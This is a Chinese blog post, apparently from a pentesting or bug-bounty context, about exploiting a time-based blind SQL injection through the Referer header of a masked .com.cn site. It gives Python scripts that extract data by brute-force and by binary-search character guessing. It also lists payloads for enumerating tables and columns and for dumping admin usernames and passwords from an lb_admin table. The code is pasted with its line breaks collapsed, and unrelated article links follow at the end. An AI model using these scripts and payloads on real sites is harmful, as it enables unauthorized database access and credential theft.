一直以来,都想摆脱sqlmap的束缚,通过自定义脚本来完成,–前言

某月某天,挖盒子过程中,burpsuite扫出某个sqli,花了点时间测了下,确实有些搞头。

是一个from子查询payload,select*from(select sleep(10))a ,from会把后面的结果(在这里是子查询)当作单表来查询,

发包后,burpsuite返回包1154millls,存在sql注入,,不知道有多久没手工注入了,放sqlmap看能不能跑点数据出来
如图,referer注入设置level 3 ,time-base设置 technique T,跑不出注入点,欸,失望

明明有个注入点,就相当撕开了一个缺口,但迟迟找不到工具,一个人的孤独,一个人的渗透
找了位盆友,写了个枚举盲注,,

# -*- coding: utf-8 -*-
import requests,time
url="https://aBC.com.cn/aa/15432aa.html"
result=""
for i in range(1,50):for j in range(32,128): headers={"Referer":"https://aBC.com.cn/aa/15432aa.html/'+if(ascii(substr(user(),{},1))={},sleep(5),0)+'".format(i,j),"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0","Host":"https://aBC.com.cn/aa/15432aa.html"   }st=time.time()requests.get(url,headers=headers)if time.time()-st >=5:result+=chr(j)print('database user name:',result)breakelse:pass

本以为可以直接跑数据,但拿到脚本后,频繁地爆format错误,耽搁了两天后,吧format放到referer:"".format这个格式可以正常跑,,
准备了两个探测payload: user()、database()
DBA权限
库名

到这里为止,,做得都是很肤浅的注入,
sql注入永远需要跑跑出字段和表才算一次比较合格的渗透,而上面这个脚本跑个库名就跑了5分钟,这里网上收集了某二分法,

枚举的思路就是:
for i in range(1,50):
for j in range(32,128):
if(ascii(substr(user(),{i},1))={j},sleep(5),0) 通过枚举j的值,从32到128,直到枚举到128才进行下一轮

二分法的思路就是在j的区间做处理,减少j的取值,
low=32,high=128,mid=80,user(),{i},1通过比较是否小于80,具体缩小到某个小区间内。。

 # -*- coding:utf-8 -*-import requests,timefrom requests import exceptionsurl="https://aBC.com.cn/aa/15432aa.html"def main():result=""for i in range(1, 20):low = 32high = 128#1111while low < high:mid = int((low + high) / 2)#content = "user()"#sql = "https://https://aBC.com.cn/aa/'+if((ascii(substr(({content}),{i},1))<{mid}),sleep(5),0)+'"headers={"Referer":"https://https://aBC.com.cn/aa/15432aa.html/'+if(ascii(substr(user(),{},1))<{},sleep(5),0)+'".format(i,mid),"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0","Host":"https://aBC.com.cn/aa/"   }st=time.time()    requests.get(url,headers=headers)#2222if time.time()-st >5:high = midelse:low = mid + 1print("low value {} and high value {}".format(low,high))#3333#跑出结果后,值的处理if low == high == 32:print("[*] Result is: {}".format(result))breakresult += chr(int((high + low - 1) / 2))print("database user :{}".format(result))if __name__ == '__main__':main()

大概就这样,本来需要跑160次请求减少到只有4-5次,而且提高盲注率,,这样就有了跑表和字段的资本。。

,那么跑字段的话,这里已经花了点小心思收集好了payload
01.payload=user()获取数据库用户名
02.payload=database()获取数据库名
03(select table_name from information_schema.tables where table_schema=database() limit 0,1) 获取当前数据库的表
04.(select count(table_name) from information_schema.tables where table_schema=database() limit 0,1) 获取当前数据库表的个数
05.payload=(select count(column_name) from information_schema.columns where table_name=‘lb_admin’ limit 0,1)获取表中列字段个数
06.payload=(select column_name from information_schema.columns where table_name=‘lb_admin’ limit 0,1)获取表中列字段名
07.payload=(select a_password from lb_admin limit 0,1),{},1))<{} 获取a_password第一个字段内容
08.payload=(select a_password from lb_admin limit 1,1),{},1))<{} 获取a_password第二个字段内容

获取DBA

获取表名

获取表中的列

获取表中第二个列名

第三个列名password,

获取a_username列字段内容

获取a_password列字段内容

所以说,敢做就敢赢–《我是谁,“没有绝对安全的系统”》

这里有些经验:
爆表和字段,当前最需要的是payload,mysql的时间盲注每个人有很多理解,每个人写的内容也不一样,,
所以说,这样来搜索‘select table_name from information_schema.tables where table_schema=database() limit 0,1’,搜索引擎会返回收录的payload文章

实战渗透浅谈--一次巧合偶然的sql注入相关推荐

  1. Kali Linux Web 渗透测试视频教程—第十一课-扫描、sql注入、上传绕过

    Kali Linux Web 渗透测试视频教程-第十一课-扫描.sql注入.上传绕过 文/玄魂 原文链接:http://www.xuanhun521.com/Blog/2014/10/25/kali- ...

  2. 从小白到web渗透工程师——零基础指南(2)sql注入漏洞

    hello,各位小伙伴,在看过上一篇文章之后,想必大家伙对于web渗透工程师有了一定的了解,那么,作为一名渗透工程师,挖洞,就是我们的日常工作中必不可少的一部分了.在安全圈中,如果你挖的洞危险系数够高 ...

  3. 实战录 | 浅谈前端项目构建与优化

    <实战录>导语 云端卫士的新栏目<实战录>将会定期分享一些我们的工程师伙伴们在产品研发的过程中总结的实践经验,希望对于热爱技术且关注安全领域的受众有所裨益.本期分享人为云端卫士 ...

  4. Amazon EMR 实战心得浅谈

    01 引言 Amazon Elastic MapReduce (以下简称 EMR) 是集齐数据接入.存储.计算.交互式查询.机器学习等一系列开源社区组件封装的云上托管大数据平台,用户可以基于 EMR ...

  5. 图形引擎实战:浅谈移动端无尽海面的网格生成

    国内手游市场发展如火如荼,各类手游开发项目层出不穷,在这之间,不乏一些需要制作海洋效果的项目.说到海洋模拟,笔者脑海中立刻蹦出一些关键词,"Vertex Displacement" ...

  6. 浅谈数据库优化方案--表和SQL

    1.数据类型的选择 1.字段最好设置为非空.若字段为char(8),即便是NULL也会现有8个字符的空间. 2.尽量使用数字型字段,若只含数值信息的字段尽量不要设计为字符型,这会降低查询和连接的性能, ...

  7. 数据分析师能用到mysql_浅谈数据分析师的必备技能SQL

    一.了解SQL的必要性 俗话说"巧妇难为无米之炊",没有数据怎么分析.而SQL对于你来说就好比电脑的键盘鼠标,虽说没有了它也能照常运行,但对使用它的人来说灵活性却下降了许多.而这一 ...

  8. 白帽SQL注入实战过程记录(2)——根据information_schema组装SQL注入语句

    目录 接上一篇内容 写在前面 信息汇总 漏洞汇总: 数据库信息: 利用inf

  9. 自学渗透测试:使用 DVWA 和 SQLmap 探寻 SQL 注入攻击与防范

    数据来源 本文仅用于信息安全学习,请遵守相关法律法规,严禁用于非法途径.若观众因此作出任何危害网络安全的行为,后果自负,与本人无关. 01 耳熟能详的SQ注入是什么?     关于SQL注入漏洞,维基 ...

最新文章

  1. python中try_python中try...excpet多种使用方法
  2. Nginx server之Nginx作为反向代理服务器
  3. mysql 实例启动利用binlog恢复_mysql利用binlog进行数据恢复
  4. 【万字长文】创业公司就应该技术选型 Spring Cloud Alibaba , 开箱即用
  5. Python函数学习
  6. 【bzoj2038】[2009国家集训队]小Z的袜子(hose) 莫队算法
  7. Python 中的 __str__ 与 __repr__ 到底有什么差别
  8. 机器人电焊电流电压怎么调_焊电焊电流怎么调节,调多少合适?
  9. 蓝桥杯【学做菜】Java
  10. android /mnt/sdcard 只读,Android重要的文件目录mnt/sdcard 和 /sdcard
  11. 鼠标精灵对码软件_暗影精灵6游戏主机评测
  12. spring boot 项目页面显示不出来
  13. crontab fastadmin thinkphp 定时任务权限不足
  14. 雷电模拟器运行一直不动解决方案
  15. 监听JScrollPane按PageUp,PageDown事件
  16. 在Word2010中交叉引用插入参考文献
  17. keil 报错解决 Loading PDSC Debug Description failed forSTMicroelectronics STM32xxxx
  18. 时间管理(详细说明)
  19. 特别编辑--windows+python+django实现前端页面上传到指定路径生成个性化二维码
  20. 流媒体服务器搭建之Live555

热门文章

  1. 微信个性签名居中怎样设置?一键自动生成,快速搞定!
  2. 使用SOAP Toolkit 3.0监听Web服务的SAOP消息
  3. 图片文字如何提取?这些方法了解过吗
  4. javaweb个人物品信息管理系统springboot+Ssm
  5. 【历史上的今天】4 月 9 日:谷歌输入法致歉搜狐;UNIVAC 和 ENIAC 的发明者诞生;德国电脑业领军人出生
  6. 论落后的、野蛮的、丑陋的、罪恶的中国人际关系
  7. 博德之门1修改器_从博德之门到啤酒
  8. python打印字母图形2
  9. oracle pls 00323,Error(30,13): PLS-00323: subprogram or cursor 'XXXXX' is declared in a package spec
  10. 测试人员如何制定测试策略呢?